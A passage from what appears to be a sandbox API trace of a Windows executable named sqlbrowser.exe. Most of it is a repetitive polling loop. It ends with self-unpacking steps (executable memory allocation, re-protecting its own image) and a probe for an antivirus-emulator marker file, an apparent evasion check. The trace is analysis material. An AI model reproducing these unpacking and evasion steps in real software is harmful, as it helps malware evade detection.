GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.931] GetKBCodePage () returned 0x1b5 [0024.931] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.931] GetFocus () returned 0x0 [0024.931] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.932] GetFocus () returned 0x0 [0024.932] GetAsyncKeyState (vKey=58) returned 0 [0024.932] GetKBCodePage () returned 0x1b5 [0024.932] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.933] GetAsyncKeyState (vKey=58) returned 0 [0024.933] GetKBCodePage () returned 0x1b5 [0024.933] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.933] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.934] GetKBCodePage () returned 0x1b5 [0024.934] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.934] GetFocus () returned 0x0 [0024.934] GetAsyncKeyState (vKey=58) returned 0 [0024.935] GetKBCodePage () returned 0x1b5 [0024.935] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.935] GetFocus () returned 0x0 [0024.935] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0024.978] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe")) returned 0x34 [0024.978] Sleep (dwMilliseconds=0x94) [0025.130] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x76e21856) returned 0x0 [0025.130] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0025.132] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x76e21856) returned 0x0 [0025.132] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0025.134] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e249d7) returned 0x0 [0025.134] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21222) returned 0x0 [0025.134] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21856) returned 0x0 [0025.134] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e2435f) returned 0x0 [0025.134] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0025.135] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0025.135] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0025.135] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0025.136] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0025.138] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0025.138] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0025.138] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0025.138] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0025.581] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0025.591] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x4b0000 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x104) returned 0x4b07d0 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b08e0 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0968 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b09f0 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0a78 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0b00 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0b88 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0c10 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0c98 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0d20 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0da8 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0e30 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0eb8 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0f40 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0fc8 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b1050 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b10d8 [0025.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x400) returned 0x4b1160 [0025.599] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x22f0000 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f07d0 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0858 [0025.600] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f08e0 [0025.600] 